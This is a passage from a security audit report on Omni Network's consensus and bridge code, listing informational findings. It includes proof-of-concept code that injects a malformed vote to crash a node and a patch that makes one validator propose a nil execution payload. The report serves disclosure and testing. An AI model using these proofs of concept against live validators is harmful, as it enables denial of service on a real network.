        /mnt/c/AUDITS/cantina/omni-network/omni/lib/xchain/provider/mock.go:70 +0x25
github.com/omni-network/omni/halo/attest/voter.(*Voter).runOnce(0xc0009bf400, {0x338e068, 0xc0022049c0},
↪  {0xc002045f60?, 0x0?})
        /mnt/c/AUDITS/cantina/omni-network/omni/halo/attest/voter/voter.go:221 +0x5f6
github.com/omni-network/omni/halo/attest/voter.(*Voter).runForever(0xc0009bf400, {0x338e068, 0xc0022049c0},
↪  {0xc0033d79c0?, 0x0?})
        /mnt/c/AUDITS/cantina/omni-network/omni/halo/attest/voter/voter.go:170 +0x18e
created by github.com/omni-network/omni/halo/attest/voter.(*Voter).Start in goroutine 233
        /mnt/c/AUDITS/cantina/omni-network/omni/halo/attest/voter/voter.go:129 +0x1d3
exit status 2
FAIL    github.com/omni-network/omni/halo/app   3.337s
```

- Proof of Concept #2 Modify the following test as follow to add a malicious vote, this will also confirm the panic.

```
func TestVotesFromCommit(t *testing.T) {
    fuzzer := fuzz.New().NilChance(0)

    var blockHash common.Hash
    fuzzer.Fuzz(&blockHash)

    // Generate attestations for following matrix: chains, vals, offset batches
    const skipVal = 2     // Skip this validator
    const skipChain = 300 // Skip this chain (out of window)
    chains := []uint64{100, 200, 300}
    vals := []k1.PrivKey{k1.GenPrivKey(), k1.GenPrivKey(), k1.GenPrivKey()}
    batches := [][]uint64{{1, 2}, {3}, { /*empty*/ }}

    expected := make(map[[32]byte]map[xchain.SigTuple]bool)
    total := 2 * 3 // 2 chains * 3 heights

    var evotes []abci.ExtendedVoteInfo
    for _, chain := range chains {
        for i, val := range vals {
            flag := types1.BlockIDFlagCommit
            if i == skipVal {
                flag = types1.BlockIDFlagAbsent
            }

            for _, batch := range batches {
                var votes []*types.Vote
                for _, offset := range batch {
                    addr, err := k1util.PubKeyToAddress(val.PubKey())
                    require.NoError(t, err)

                    var sig xchain.Signature65
                    fuzzer.Fuzz(&sig)

                    vote := &types.Vote{
                        AttestHeader: &types.AttestHeader{
                            SourceChainId: chain,
                            ConfLevel:     uint32(xchain.ConfFinalized),
                            AttestOffset:  offset,
                        },
                        BlockHeader: &types.BlockHeader{
                            ChainId:     chain,
                            BlockHeight: offset * 2,
                            BlockHash:   blockHash[:],
```

```
                        },
                        MsgRoot: blockHash[:],
                        Signature: &types.SigTuple{
                            ValidatorAddress: addr[:],
                            Signature:        sig[:],
                        },
                    }

                    if i != skipVal && chain != skipChain {
                        sig := xchain.SigTuple{
                            ValidatorAddress: addr,
                            Signature:        sig,
                        }
                        attRoot, err := vote.AttestationRoot()
                        require.NoError(t, err)

                        if _, ok := expected[attRoot]; !ok {
                            expected[attRoot] = make(map[xchain.SigTuple]bool)
                        }
                        expected[attRoot][sig] = true
                    }
                    votes = append(votes, vote)
                }

+               // Add a malicious vote missing AttestHeader
+               vote := &types.Vote{
+                   BlockHeader: &types.BlockHeader{
+                       ChainId:   chain,
+                       BlockHash: blockHash[:],
+                   },
+                   MsgRoot:   blockHash[:],
+                   Signature: &types.SigTuple{},
+               }
+               votes = append(votes, vote)
+

                bz, err := proto.Marshal(&types.Votes{
                    Votes: votes,
                })
                require.NoError(t, err)
                evotes = append(evotes, abci.ExtendedVoteInfo{
                    VoteExtension: bz,
                    BlockIdFlag:   flag,
                })
            }
        }
    }

    info := abci.ExtendedCommitInfo{
        Round: 99,
        Votes: evotes,
    }

    comparer := func(ctx context.Context, chainVer xchain.ChainVersion, height uint64) (int, error) {
        if chainVer.ID == skipChain {
            return 1, nil
        }

        return 0, nil
    }

    supported := func(context.Context, xchain.ChainVersion) (bool, error) {
        return true, nil
    }

    resp, err := votesFromLastCommit(context.Background(), comparer, supported, info)
    require.NoError(t, err)

    require.Len(t, resp.Votes, total)

    for _, agg := range resp.Votes {
        attRoot, err := agg.AttestationRoot()
        require.NoError(t, err)
        for _, s := range agg.Signatures {
            sig, err := s.ToXChain()
            require.NoError(t, err)
            require.True(t, expected[attRoot][sig], agg, sig)
```

```
            delete(expected[attRoot], sig)
            if len(expected[attRoot]) == 0 {
                delete(expected, attRoot)
            }
        }
    }

    require.Empty(t, expected)
}
```

OUTPUT

```
=== RUN   TestVotesFromCommit
--- FAIL: TestVotesFromCommit (0.01s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
    panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x16719dc]

goroutine 42 [running]:
testing.tRunner.func1.2({0x19cc460, 0x2fcfae0})
    /usr/local/go1.23.2/src/testing/testing.go:1632 +0x230
testing.tRunner.func1()
    /usr/local/go1.23.2/src/testing/testing.go:1635 +0x35e
panic({0x19cc460?, 0x2fcfae0?})
    /usr/local/go1.23.2/src/runtime/panic.go:785 +0x132
github.com/omni-network/omni/halo/attest/types.(*AttestHeader).XChainVersion(...)
    /mnt/c/AUDITS/cantina/omni-network/omni/halo/attest/types/translate.go:11
github.com/omni-network/omni/halo/attest/keeper.votesFromLastCommit({0x20f8030, 0x3b88e00}, 0x1efdee0,
↪  0x1efdee8, {0x0?, {0xc0003cb008?, 0x0?, 0x0?}})
    /mnt/c/AUDITS/cantina/omni-network/omni/halo/attest/keeper/cpayload.go:95 +0x39c
github.com/omni-network/omni/halo/attest/keeper.TestVotesFromCommit(0xc000787520)
    /mnt/c/AUDITS/cantina/omni-network/omni/halo/attest/keeper/cpayload_internal_test.go:176 +0x2dc
testing.tRunner(0xc000787520, 0x1efdd98)
    /usr/local/go1.23.2/src/testing/testing.go:1690 +0xf4
created by testing.(*T).Run in goroutine 1
    /usr/local/go1.23.2/src/testing/testing.go:1743 +0x390


Process finished with the exit code 1
```

- Recommendation Use Getter to be safe as you are doing pretty much across the app.

```
func (h *AttestHeader) XChainVersion() xchain.ChainVersion {
    return xchain.ChainVersion{
-       ID:        h.SourceChainId,
-       ConfLevel: xchain.ConfLevel(h.ConfLevel),
+       ID:        h.GetSourceChainId(),
+       ConfLevel: xchain.ConfLevel(h.GetConfLevel()),
    }
}
```

3.7.26 Testtesttesttesttesttest

Severity: Informational

Context: *(No context files were provided by the reviewer)*

testtesttesttesttesttest

3.7.27 Vote extensions from last block can be lost

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: If a consensus chain upgrades/forks(which is prevalent in newly deployed chains with new tech stacks), the Consensus ID will change.

If we take a look at `AddVotes()`:

```
func (s proposalServer) AddVotes(ctx context.Context, msg *types.MsgAddVotes,
) (*types.AddVotesResponse, error) {
    log.Debug(ctx, "B halo/app/attest/proposal_server::AddVotes()")
    sdkCtx := sdk.UnwrapSDKContext(ctx)
    consensusID, err := netconf.ConsensusChainIDStr2Uint64(sdkCtx.ChainID())
    if err != nil {
        return nil, errors.Wrap(err, "parse chain id")
    }

    // Verify proposed msg
    valset, err := s.prevBlockValSet(ctx)
    if err != nil {
        return nil, errors.Wrap(err, "fetch validators")
    } else if err := s.verifyAggVotes(ctx, consensusID, valset, msg.Votes, s.windowCompare); err != nil {
        return nil, errors.Wrap(err, "verify votes")
    }

    localHeaders := headersByAddress(msg.Votes, s.voter.LocalAddress())
    logLocalVotes(ctx, localHeaders, "proposed")
    if err := s.voter.SetProposed(localHeaders); err != nil {
        return nil, errors.Wrap(err, "set committed")
    }
    log.Debug(ctx, "E halo/app/attest/proposal_server::AddVotes()")
    return &types.AddVotesResponse{}, nil
}
```

We see that the `consensusID` is derived from the `sdkCtx`:

```
consensusID, err := netconf.ConsensusChainIDStr2Uint64(sdkCtx.ChainID())
```

The problem here is that the derived `consensusID` will not be the same as the `consensusID` of `currentBlock - 1` in the case of a fork.

This results in this call inside `AddVotes()` failing:

```
s.verifyAggVotes(ctx, consensusID, valset, msg.Votes, s.windowCompare);
```

which will results in `AddVotes()` not being able to be executed by the validators that received the proposal, leading to the VoteExtensions of `current_block - 1` not able to be delivered.

Impact: VoteExtensions not being able to be delivered means that one block filled with cross-chain blocks will be missed and thus those messages will not be delivered.

Description: Keep track of the consensus ID of `current_block - 1` and use it for verification in `AddVotes`

3.7.28 Misleading / Incorrect Documentation about the confirmation level bits used

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

The documentation page mentions the use of `shardId` as

> uint64 shardId // Shard ID of the XStream (first byte is the confirmation level)

According to this, the confirmation level should be represented by the `first byte of the 64-bit shardId`. However, throughout the protocol, the code actually uses the last byte to denote confirmation levels.

For Example, in PortalRegistry.sol#L122:

```
uint64 shard = dep.shards[i];
@&gt;&gt;&gt; require(shard == uint8(shard) &amp;&amp; ConfLevel.isValid(uint8(shard)), "PortalRegistry:
↪  invalid shard"); // @audit - uint8(shard) extracts the last 8 bits
```

Similarly in types.go#L87-L91:

```
// ConfLevel returns confirmation level encoded in the
// @@gt;@gt;@gt; last 8 bits of the shardID. // @audit - only the last 8 bits of the shardId denote the
↪  confirmation level
func (s ShardID) ConfLevel() ConfLevel {
return ConfLevel(byte(s &amp; 0xFF))
}
```

These examples demonstrate that the `last 8 bits of the shardId` are used to `determine the confirmation level`, which conflicts with the documentation stating that the first byte is used.

- Proof of Concept

We can verify the logic, `shard == uint8(shard)`, indeed uses the last 8-bits.

```
$ chisel
Welcome to Chisel! Type `!help` to show available commands.
 uint64 shardId = 123_456
 shardId
Type: uint64
 Hex: 0x
 Hex (full word): 0x1e240
 Decimal: 123456
 uint8(shardId)
Type: uint8
 Hex: 0x
 Hex (full word): 0x40
 Decimal: 64
```

- Impact
- A developer, Alice, integrates the Omni Network protocol into her application, relying on the documentation that states the first byte of `shardId` represents the confirmation level.
- She configures her application accordingly, but due to the actual implementation using the last byte, her application fails to process transactions correctly.
- As a result, Alice's users experience delayed or lost transactions, leading to reputational damage and financial losses.
- Recommendation

Consider correcting the documentation to align with the code's behavior, to eliminate any ambiguity in the codebase and improve the clarity and readability of the codebase.

3.7.29 Trailing comma in `VerifyVoteExtension()` function definition

Severity: Informational

Context: *(No context files were provided by the reviewer)*

In `halo/attest/keeper/keeper.go` there is an undefined and unused third return parameter caused by a trailing comma:

```
func (k *Keeper) VerifyVoteExtension(ctx sdk.Context, req *abci.RequestVerifyVoteExtension) (
    *abci.ResponseVerifyVoteExtension, error,
)
```

I suspect that this is a mistake as there is no need for third return value. Consider removing it to abide Go's best practises.

3.7.30 Signing is susceptible to replay attack

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: In `k1util.go::Sign()`, we see the following function:

```
func Sign(key crypto.PrivKey, input [32]byte) ([65]byte, error) {
    bz := key.Bytes()
    if len(bz) != privKeyLen {
        return [65]byte{}, errors.New("invalid private key length")
    }

    sig := ecdsa.SignCompact(secp256k1.PrivKeyFromBytes(bz), input[:], false)

    // Convert signature from "compact" into "Ethereum R S V" format.
    return cast.Array65(append(sig[1:], sig[0]))
}
```

This function is used in an **in-scope** contract, which is `vote.go::CreateVote()`:

```
->  sig, err := k1util.Sign(privKey, attRoot)
    if err != nil {
        return nil, errors.Wrap(err, "sign attestation")
    }
```

The issue lays in the way how the data is signed. Concretely, there is no way to distinguish a signature sent to Optimism vs Ethereum. This replay-ability was the reason for the implementation of **EIP-155** years ago.

`Sign` will result in a `V` that is always `27` or `28`. This results in the signature being replay-able(meaning, they will all successfully pass the check in the `Quorum.sol` library) on multiple chains, which breaks the core functionality of this project.

Recommendation: Implement the signing methodology used in EIP155.

3.7.31 Quorum Check Logic in Proposal Handling

Severity: Informational

Context: prouter.go#L45

- Description

The current implementation of the `makeProcessProposalHandler` function includes a strict check that states a proposal will be rejected if the condition `totalPower * 2/3 >= votedPower` is met. This logic intends to ensure that the proposal includes a sufficient quorum of votes. However, the condition is incorrectly structured. The correct condition for quorum should check if the voted power meets or exceeds the required quorum threshold. As it stands, if `totalPower * 2/3` equals `votedPower`, the proposal is rejected, which is an incorrect application of the quorum rule.

It is evident from the docs that of the `totalPower` should be considered as a quorum

> It is assumed that there is always quorum of honest validators.

- Impact

This strict check could lead to legitimate proposals being rejected when the quorum is technically met (i.e., when `votedPower` is equal to of `totalPower`).

- Recommendation

Update the quorum check

```
if totalPower*2/3 > votedPower {
    return rejectProposal(ctx, errors.New("proposed doesn't include quorum votes extensions"))
}
```

3.7.32 Chain streams can stall

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Relevant Context

Omni defines a `XStream` as a logical connection between a source and a destination chain. It contains `XMsgs`, each with monotonically increasing `XStreamOffset` in order to implement an order relation amongst `XMsgs`.

When Omni's validator set changes, the new set of validators must be first attested by the existing set. Once the new set has been attested and approved, the new set must be broadcast to all connected chains' Portal contracts, which implement a light-client to track the last `N` Omni validator sets.

- Description

When a new validator set update is to be sent out to all connected chains, special `DesinationChain` and `ShardID` values are used to signal the `XMsg` should be broadcast to all chains. Because of this separation, validator updates and `XMsgs` targeting a specific chain are sent via **2 distinct** `XStream`**s**.

This implies that validator set updates and typical `XMsg` bare no order relation between them: the only relation between the two is that a given `XMsg` references the validator set ID that has approved it. The Portal smart contracts verify that a delivered `XMsg` has been attested by an existing validator set.

Because there is no order dependance between the validator set update messages and normal `XMsgs`, the following scenario can occur:

1. A validator update is detected and attested for.
2. Broadcast `XMsgs`, bearing the validator set update are sent out to all chains.
3. For any reason, such validator update `XMsg`'s delivery on chain C isn't instantly delivered. (e.g. : gas price spikes on chain X)
4. Omni processes a new block containing `XMsgs` to be delivered to chain C.
5. `XMsgs` sent to chain C are correctly delivered (in terms of the example above, a correct gas price for instant delivery is set)
6. C's `OmniPortal.xsubmit` execution will revert, as the validator set id written within the `XMsg` hasn't yet been written to the contract's storage.

As a result, the `XStream` stalls until correct delivery of the validator set update message is executed.

- Recommendation

Validator set update messages and normal `XMsgs` should define a clear order dependency, in order to avoid a scenario like the one described above from occurring.

3.7.33 Contradicting comment in `AddVotes`

Severity: Informational

Context: msg_server.go#L32-L42

- Description `AddVotes` called during `VerifyVoteExtension` (so finalization phase) is verifying votes (aggVote.Verify()) but then have a comment saying it should not do so which is confusing to say the least.

```
// Not verifying votes here since this block is now finalized, so it is too late to reject votes.
```

According to the official ABCI doc, the application should not return an error if invalid vote detection are detected, but instead just ignore them in it's own business logic. Hence, the protocol here is not following the ABCI specification, but that is probably on purpose and a `trade-off`, which will affect liveness in case vote fails verification here.

```
As a general rule, an Application that detects an invalid vote extension SHOULD accept it in
↪  verifyVoteExtensionResponse and ignore it in its own logic.
```

- Recommendation You probably want to remove this comment at least.

3.7.34 Future geth upgrades will be hard to manage and can lead to long downtimes of nodes

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

CometBFT applications must be fully deterministic. Because omni relies on an externally running `geth` node, it is very important that all validators switch the version at exactly the same block. Otherwise, there can be consensus failures (because of execution differences) in the block(s) directly after the upgrade.

Ensuring this in practice will be extremely hard with the current design. A node that is not upgraded will panic and only upgrading geth then will not work: Because a block that is in conflict was already verified / proposed, the validator needs to sync from Genesis (which takes a long time). If this happens for a lot of nodes, consensus may be impacted

- Recommendation Either implement an upgrade procedure that ensures this cannot happen (hard with the current design) or a rollback mechanism such that these nodes do not need to resync from Genesis.

3.7.35 Claim mechanism will fail for most intended cases due to lack of reserved gas for tail end of call causing loss of funds

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

NOTE: This is a different finding to the hardcoded `XCALL_WITHDRAW_GAS_LIMIT` finding as this documents the lack of reserved gas to store the `claimable[payor]` which will result in a critical loss of funds, for example Optimism allows you to specify any `minGasLimit` but it still reserved a `RELAY_RESERVED_GAS` in the `CrossDomainMessenger` to store the replay hash. Fixing the hardcoded gas limit will not fix this issue.

The `XCALL_WITHDRAW_GAS_LIMIT` is 80_000 for both the `OmniBridgeNative` and `OmniBridgeL1`, which is a problem for L1 => L2 transfer since an external call is made to transfer the native OMNI token which can trigger a contract fallback function which can consume a variable amount of gas

The protocol attempts to mitigate this via storing the `claimable[payor]` (which seems to be similar as a replay hash) as shown:

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/contracts/core/src/token/OmniBridgeNative.sol#L95

```
    function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
        external
        whenNotPaused(ACTION_WITHDRAW)
    {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall"); // this protects against reentrancy
        require(xmsg.sender == l1Bridge, "OmniBridge: not bridge");
        require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");

        l1BridgeBalance = l1Balance;

        (bool success,) = to.call{ value: amount }("");
        if (!success) claimable[payor] += amount;

        emit Withdraw(payor, to, amount, success);
    }
```

However, this would entail a cold zero to non-zero SSTORE which would consume 22_100 gas.

Let us take a look at the following gas costs in the function.

- Only 80_000 gas is supplied to the withdraw function
- SSTORE to `l1BridgeBalance` is likely a cold non-zero to non-zero SSTORE which would consume 7100 gas.

- `to.call` is a cold access call to a non-empty account with value, which would can consume 11600 gas to start the call
- The total gas left is 61_300, 1/64 (958 gas) will be reserved and 63/64 (60342 gas) will be forwarded.
- If the contract fallback function consumers more than 60_342 gas, that means only 958 gas will be leftover. But as we can clearly see, the `claimable[payor]` needs at least 22_100 gas in order to execute (not counting for emitting the `Withdraw` event) which is way more than the 958 gas reserved causing the function to revert and a permanent loss of funds.

Essentially, the `claim` mechanism will fail in most of its intended cases due to the lack of gas reserved for the end of the call!

- Recommendation

Consider reserving 30_000 gas to execute the tail end of the call. You can look at CrossDomainMessenger.sol for inspiration on how it is done, especially on how they handle it with `RELAY_RESERVED_GAS`

3.7.36 Incomplete pause state recovery

Severity: Informational

Context: OmniBridgeL1.sol#L59

- Description When "onlyOwner" first pause an individual action through the individual action pause function, then pauses all actions, and then unpause all actions, the individual pause action remains in a paused state.

Here's a walk through of the bug:

When "onlyOwner" pauses individual action by calling this function:

```
/// @notice Pause `action`
   function pause(bytes32 action) external onlyOwner {
       _pause(action);
   }
```


https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/token/OmniBridgeCommon.sol?scope=in_scope&text=Om#L24

Then, "onlyOwner" decides to pause all actions by calling this function:

```
 /// @notice Pause all actions
   function pause() external onlyOwner {
       _pauseAll();
   }
```

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/token/OmniBridgeCommon.sol?scope=in_scope&text=Om#L34

And then "onlyOwner" unpause all actions by calling this function:

```
/// @notice Unpause all actions
    function unpause() external onlyOwner {
        _unpauseAll();
    }
```

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/token/OmniBridgeCommon.sol?scope=in_scope&text=Om#L39

Here are the internal functions called in the above functions:

```
  function _pause(bytes32 key) internal {
        PauseableStorage storage $ = _getPauseableStorage();
        require(!$._paused[key], "Pausable: paused");
        $._paused[key] = true;
        emit Paused(key);
    }

    /**
     * @notice Unpause by key.
     */
    function _unpause(bytes32 key) internal {
        PauseableStorage storage $ = _getPauseableStorage();
        require($._paused[key], "Pausable: not paused");
        $._paused[key] = false;
        emit Unpaused(key);
    }
```

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/utils/PausableUpgradeable.sol?scope=in_scope#L39

```
 /**
     * @notice Pause all keys.
     */
    function _pauseAll() internal {
        _pause(KeyPauseAll);
    }

    /**
     * @notice Unpause all keys.
     */
    function _unpauseAll() internal {
        _unpause(KeyPauseAll);
    }
```

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/utils/PausableUpgradeable.sol?scope=in_scope#L80

When "onlyOwner" calls the pauuse funciton calling the _unpauseAll(), all states ought to be unpaused but this is not the case in this circumstance. The individual pause state is not unpaused.

The issue arises because _unpauseAll() only affects the KeyPauseAll flag but doesn't clear individual pause states.

```
function _unpauseAll() internal {
        _unpause(KeyPauseAll);
    }
```

The issue stems from PausableUpgradeable's _unpauseAll() implementation:

```
function _unpauseAll() internal {
    _unpause(KeyPauseAll);  // Only affects global pause
}
```

- Recommendation Implement a comprehensive general unpause mechanism that also unpause individual action.

3.7.37 Single `malicious validator` can `propose empty OMNI EVM block` which seems unexpected

Severity: Informational

Context: abci.go#L133-L138

- Description There seems to be a problem when a malicious proposer propose an `nil` OMVI EVM block, as while the chain recover nicely, the result seems unexpected.
- Proof of Concept I'm using the `e2e framework` to proove the problem using the `fuzzyhead` network which include 4 validators. So the idea is after reaching 50 blocks, whenever a specific validator (in my case I pick validator2 --> e3b82d3) is proposing, I will activate this attack which will be sending the OMNI EVM payload field set to `nil`, which will make all the proposer to panic (**recovered**). The interesting part is how cometBFT and the other validator react.

Apply those changes and do the following commands from project root.

- `make build-docker` (to build the docker images with the new changes which include the hack)
- `make devnet-deploy2` (to deploy the local network)
- `make devnet-clean2` (to stop it once you confirmed the issue)

Open docker console (at least in Windows, or fetch the logs manually from validators containers), you will see the problem occurs at some point after block 50. In my case it was at `block 54`.

You can see validator 2 is proposing block, panic (but comet recover it, no worries).

- Concerns

Other validators (Val1, Val2 and Val4) are NOT executing usual `consensus business logic`, which seems unexpected.

- `ProcessProposal` are not calling `proposalServer::AddVotes` and `proposalServer::ExecutionPayload` as it do usually. So they are not doing their duties regarding Votes and Payload validation, which seems unexpected.
- `VerifyVoteExtension` are not calling `msgServer::AddVotes` and `msgServer::ExecutionPayload` as it do usually. So they are not doing their duties regarding Votes and Payload validation, which seems unexpected.

So while the chain is not halted and consensus somehow is in agreement, I'm having hard time understanding what have been **stored exactly in block 54**, has payload was nil, nor verified by other validators, and the same for Votes. What I would have expected, is that cometBFT detects the failure of the initial proposer (recovered panic), and then kickoff another round with a new proposer, but that is not happening, which seems unexpected. For example, if I infect the payload itself (so transaction for example), other validators will reject the proposal and another proposer is taking over, but that is not happening here.

Makefile

```
@@ -76,6 +76,16 @@ devnet-clean: ## Deletes devnet1 containers
        @echo "Stopping the devnet in ./e2e/run/devnet1"
        @go run github.com/omni-network/omni/e2e -f e2e/manifests/devnet1.toml clean

+.PHONY: devnet-deploy2
+devnet-deploy2: ## Deploys fuzzyhead
+       @echo "Creating a docker-compose devnet in ./e2e/run/fuzzyhead"
+       @go run github.com/omni-network/omni/e2e -f e2e/manifests/fuzzyhead.toml deploy
+
+.PHONY: devnet-clean2
+devnet-clean2: ## Deletes fuzzyhead containers
+       @echo "Stopping the devnet in ./e2e/run/fuzzyhead"
+       @go run github.com/omni-network/omni/e2e -f e2e/manifests/fuzzyhead.toml clean
+
 .PHONY: e2e-ci
 e2e-ci: ## Runs all e2e CI tests
        @go install github.com/omni-network/omni/e2e
```

octane/evmengine/keeper/abci.go

```
+     var globalPrososer string
+   h := hex.EncodeToString(req.ProposerAddress)
+   const maxLen = 7
+   if len(h) > maxLen {
+       h = h[:maxLen]
+   }
+   globalPrososer = h
+
+
+   headtmp, err := k.getExecutionHead(ctx)
+   // Only infect a specific proposer when it's his turn to propose
+   if globalPrososer == "e3b82d3" {
+       if headtmp.GetBlockHeight() > 50 {
+           payloadResp.ExecutionPayload = nil              // <---------- THAT'S THE HACK HERE
+           nativeLog.Printf("*******************************Octane::Keeper::PrepareProposal(): INFECTING
↪  ExecutionPayload set to nil")
+       }
+   }
+   globalPrososer = ""

    // Create execution payload message
    payloadData, err := json.Marshal(payloadResp.ExecutionPayload)
    if err != nil {
        return nil, errors.Wrap(err, "encode")
    }
```

OUTPUT

```
Val1 (proposer == 2679b0b)
--------
2024-10-25 09:18:44 24-10-25 13:18:44.110 DEBU  ABCI call: ProcessProposal            height=54 proposer=e3b82d3
2024-10-25 09:18:44 24-10-25 13:18:44.224 DEBU  ABCI call: ExtendVote                 height=54
2024-10-25 09:18:44 2024/10/25 13:18:44 **********************ExtendVote()
2024-10-25 09:18:44 24-10-25 13:18:44.226 INFO Voted for rollup blocks                  votes=6 1651-1=[18]
↪  1651-4=[18] 1652-4="[20 21]" 1652-1="[23 24]" 1654-4=[22] 1654-1="[24 25]"
2024-10-25 09:18:44 24-10-25 13:18:44.311 DEBU  ABCI call: VerifyVoteExtension        height=54
2024-10-25 09:18:44 2024/10/25 13:18:44 **********************VerifyVoteExtension(): block hash:
↪  3b5d7c4fbd33495bf53e78840c1d74e905ebcc9a5c674592ebcb770ac1213d0e, height: 54
2024-10-25 09:18:44 24-10-25 13:18:44.325 DEBU  ABCI call: VerifyVoteExtension        height=54
2024-10-25 09:18:44 2024/10/25 13:18:44 **********************VerifyVoteExtension(): block hash:
↪  3b5d7c4fbd33495bf53e78840c1d74e905ebcc9a5c674592ebcb770ac1213d0e, height: 54
2024-10-25 09:18:44 2024/10/25 13:18:44 *******************************Attest::Keeper::Approve()
2024-10-25 09:18:44 2024/10/25 13:18:44 *******************************Attest::Keeper::Approve(): pending
↪  vote processed : 1
2024-10-25 09:18:44 2024/10/25 13:18:44 ****************************Voter::TrimBehind()
2024-10-25 09:18:44 2024/10/25 13:18:44 ****************************ValSync::Keeper::Add(EndBlock)
2024-10-25 09:18:44 24-10-25 13:18:44.332 DEBU hash of all writes
↪  workingHash=5175F705981BA965114FAFA908F3781F18A6714316CC1E9AB86972281033ED41
2024-10-25 09:18:44 24-10-25 13:18:44.332 DEBU  ABCI response: FinalizeBlock          height=54 val_updates=0
2024-10-25 09:18:44 24-10-25 13:18:44.334 DEBU  ABCI call: Commit
```

```
Val2 (proposer == e3b82d3)
--------
2024-10-25 09:18:43 24-10-25 13:18:43.999 DEBU  ABCI call: PrepareProposal            height=54 proposer=e3b82d3
2024-10-25 09:18:43 2024/10/25 13:18:43 *******************************Octane::Keeper::PrepareProposal()
2024-10-25 09:18:43 24-10-25 13:18:43.999 DEBU Using optimistic payload                 height=54
↪  payload=0x03f94c2b8a6aeb88
2024-10-25 09:18:44 2024/10/25 13:18:44 *******************************Octane::Keeper::PrepareProposal():
↪  block builded : hash :0x2eea873bb5b83a1cb3989e13d6294024732b9707e3f3b5e9c261132f99388866
2024-10-25 09:18:44 2024/10/25 13:18:44 *******************************Octane::Keeper::PrepareProposal():
↪  INFECTING ExecutionPayload set to nil
2024-10-25 09:18:44 2024/10/25 13:18:44 ***************************Keeper::PrepareVotes()
2024-10-25 09:18:44 24-10-25 13:18:44.001 ERRO PrepareProposal panic                    recover="runtime
↪  error: invalid memory address or nil pointer dereference"
2024-10-25 09:18:44 24-10-25 13:18:44.001 ERRO panic recovered in PrepareProposal       height=54 err="runtime
↪  error: invalid memory address or nil pointer dereference"
2024-10-25 09:18:44 24-10-25 13:18:44.011 DEBU  ABCI call: ProcessProposal            height=54 proposer=e3b82d3
2024-10-25 09:18:44 24-10-25 13:18:44.224 DEBU  ABCI call: ExtendVote                 height=54
2024-10-25 09:18:44 2024/10/25 13:18:44 **********************ExtendVote()
2024-10-25 09:18:44 24-10-25 13:18:44.226 INFO Voted for rollup blocks                  votes=6 1652-1="[23
↪  24]" 1654-4=[22] 1654-1=[24] 1001651-4="[13 14]" 1651-4=[18] 1652-4="[20 21]"
2024-10-25 09:18:44 2024/10/25 13:18:44 ***************************Voter::runOnce(): height: 85,
↪  AttestInterval: 10
2024-10-25 09:18:44 2024/10/25 13:18:44 ***************************Voter::runOnce(): height: 85,
↪  AttestInterval: 10
```

```
2024-10-25 09:18:44 24-10-25 13:18:44.322 DEBU  ABCI call: VerifyVoteExtension        height=54
2024-10-25 09:18:44 2024/10/25 13:18:44 **********************VerifyVoteExtension(): block hash:
↪  3b5d7c4fbd33495bf53e78840c1d74e905ebcc9a5c674592ebcb770ac1213d0e, height: 54
2024-10-25 09:18:44 24-10-25 13:18:44.324 DEBU  ABCI call: VerifyVoteExtension        height=54
2024-10-25 09:18:44 2024/10/25 13:18:44 **********************VerifyVoteExtension(): block hash:
↪  3b5d7c4fbd33495bf53e78840c1d74e905ebcc9a5c674592ebcb770ac1213d0e, height: 54
2024-10-25 09:18:44 2024/10/25 13:18:44 *******************************Attest::Keeper::Approve()
2024-10-25 09:18:44 2024/10/25 13:18:44 *******************************Attest::Keeper::Approve(): pending
↪  vote processed : 1
2024-10-25 09:18:44 2024/10/25 13:18:44 ***************************Voter::TrimBehind()
2024-10-25 09:18:44 2024/10/25 13:18:44 ***************************ValSync::Keeper::Add(EndBlock)
2024-10-25 09:18:44 24-10-25 13:18:44.331 DEBU hash of all writes
↪  workingHash=5175F705981BA965114FAFA908F3781F18A6714316CC1E9AB86972281033ED41
2024-10-25 09:18:44 24-10-25 13:18:44.331 DEBU  ABCI response: FinalizeBlock          height=54 val_updates=0
2024-10-25 09:18:44 24-10-25 13:18:44.332 DEBU  ABCI call: Commit
...
//The trace is not the proper timing (cause lost the log already) but it's the same over and over again
...
2024-10-25 09:42:59 panic stacktrace:
2024-10-25 09:42:59 goroutine 314 [running]:
2024-10-25 09:42:59 runtime/debug.Stack()
2024-10-25 09:42:59     /usr/local/go1.23.2/src/runtime/debug/stack.go:26 +0x5e
2024-10-25 09:42:59 github.com/omni-network/omni/octane/evmengine/keeper.(*Keeper).PrepareProposal.func1()
2024-10-25 09:42:59     /mnt/c/AUDITS/cantina/omni-network/omni/octane/evmengine/keeper/abci.go:43 +0xbe
2024-10-25 09:42:59 panic({0x26f2a60?, 0x7473120?})
2024-10-25 09:42:59     /usr/local/go1.23.2/src/runtime/panic.go:785 +0x132
2024-10-25 09:42:59 github.com/omni-network/omni/octane/evmengine/keeper.(*Keeper).PrepareProposal(_,
↪  {{0x3237850, 0x7515c60}, {0x324f020, 0xc0194be840}, {{0x0, 0x0}, {0xc000cb5fb0, 0xc}, 0x36f, ...}, ...},
↪  ...)
2024-10-25 09:42:59     /mnt/c/AUDITS/cantina/omni-network/omni/octane/evmengine/keeper/abci.go:180 +0xf40
2024-10-25 09:42:59 github.com/cosmos/cosmos-sdk/baseapp.(*BaseApp).PrepareProposal(0xc004636d88, 0xc0022f1080)
2024-10-25 09:42:59     /home/dontonka/go/pkg/mod/github.com/cosmos/cosmos-sdk@v0.50.10/baseapp/abci.go:431
